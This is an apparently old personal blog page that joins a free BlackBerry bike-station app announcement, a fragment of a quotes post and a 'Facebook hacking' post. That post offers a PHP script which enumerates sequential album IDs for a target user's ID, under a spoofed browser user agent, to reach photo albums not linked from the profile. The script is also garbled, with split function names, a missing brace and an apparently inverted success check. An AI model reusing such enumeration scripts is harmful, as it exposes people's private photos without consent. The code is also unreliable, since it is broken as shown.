BBicing: Bicing App for Blackberry!

Category: BlackBerry,Código,Socialguillem @ 2:33 PM

UPDATE: There is a new version available which works properly again. You’ll find the link at the end of this post :)

After becoming tired of walking through Barcelona searching for bicing stations or trying to park a bike without knowing exactly where to find free places, I decided to create a blackberry app to query the Bicing service in an easy way from my Blackberry.

Having googlemaps and the BBicing application installed should be enough. Then you just need to launch BBicing and it will open googlemaps showing all stations and bike availability using nice icons. If you stay over the icon it will also show you free slots.

This is a ‘pre-alpha’ version if it can be called so, but it works for what i need. I hope it is useful for more people.

You can download it here (it’s completely free! anyway, comments are always nice as are also links to my blog :) ):

There have always been inspiring and teaching quotes.

Entrepreneurship world is not an exception, and has many related quotes.

These are my fifteen favourite ones.

¿Have you got any which is not in here?

I’ve missed more than 9000 shots in my career. I’ve lost almost 300 games. Twenty six times, I’ve been trusted to take the game-winning shot and missed. I’ve failed over and over and over again in my life. And that is why I succeed.

Facebook ‘hacking’

Category: Linux,PHP,pseudo-hacks,Socialguillem @ 4:05 AM

The ‘hacking’ on the title is in quotation marks because this isn’t something amazing. What i want to show you is a little script in PHP i did a while ago which allows to gather a facebook album addresses from a specified profile. Obviously that person shouldn’t have the album restricted because in such case, you won’t be able to see anything. But in the case the album is not restricted you can see complete albums that you would not  be able to access directly from facebook.  So you should take this only as a script for ‘deofuscation’ more than a ‘hack’.

You should modify 3 parameters in the script itself:

– $uid: corresponds to the facebook user identifier of the person owning the album you want to look for.

– $from y $to: those represents the album identifier margins where script should search between. Those are the most difficult parameters to approach. From what i’ve been able to see, the album identifiers get assigned sequentially to every new album. The best way to approach its value is to search some of your friends profile with an ID similar to the previous uid and look at one of his/her albums and try to use values of from and to around the album id you just got (500 down and up at least). This is not a very cientific approach, but it works and i can’t provide a better one at the moment. Maybe some day i will try to automatize the script to estimate also ‘from’ and ‘to’ but that will be in the future…

//Set User ID here
$uid = 4;
//Album ID to start from. 'Guessing' required...
$from = 1;
//Album ID to finish at. 'Guessing' required...
$to = 500;

$server = gethostbyname( 'www.facebook.com' );

for ( $ii = $from; $ii < $to; $ii++ )
{
sockAccess( $ii );
}

function sockAccess($ii)
{
global $uid;
$page = "album.php?aid=$ii&id=$uid";
global $server;
$errno = '';
$errstr = '';
$fp = 0;
$fp = fsockopen( $server, 80, $errno, $errstr, 30 );
if( $fp === 0 )
die( "Error $errstr ($errno)" );

$out = "GET /$page HTTP/1.1\r\n";
$out .= "Host: $server\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1";
$out .= " en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$out .= "Connection: Close\r\n\r\n";
f write( $fp, $out );
$content = fgets( $fp );
$code = trim( substr( $content, 9, 4 ) );
f close( $fp );
if( $code != 200 )
echo "Album found!: http://www.facebook.com/album.php?aid=$ii&id=$uid\n";
if( !($ii%10) )
echo "Trying around: $ii\n";
return true;
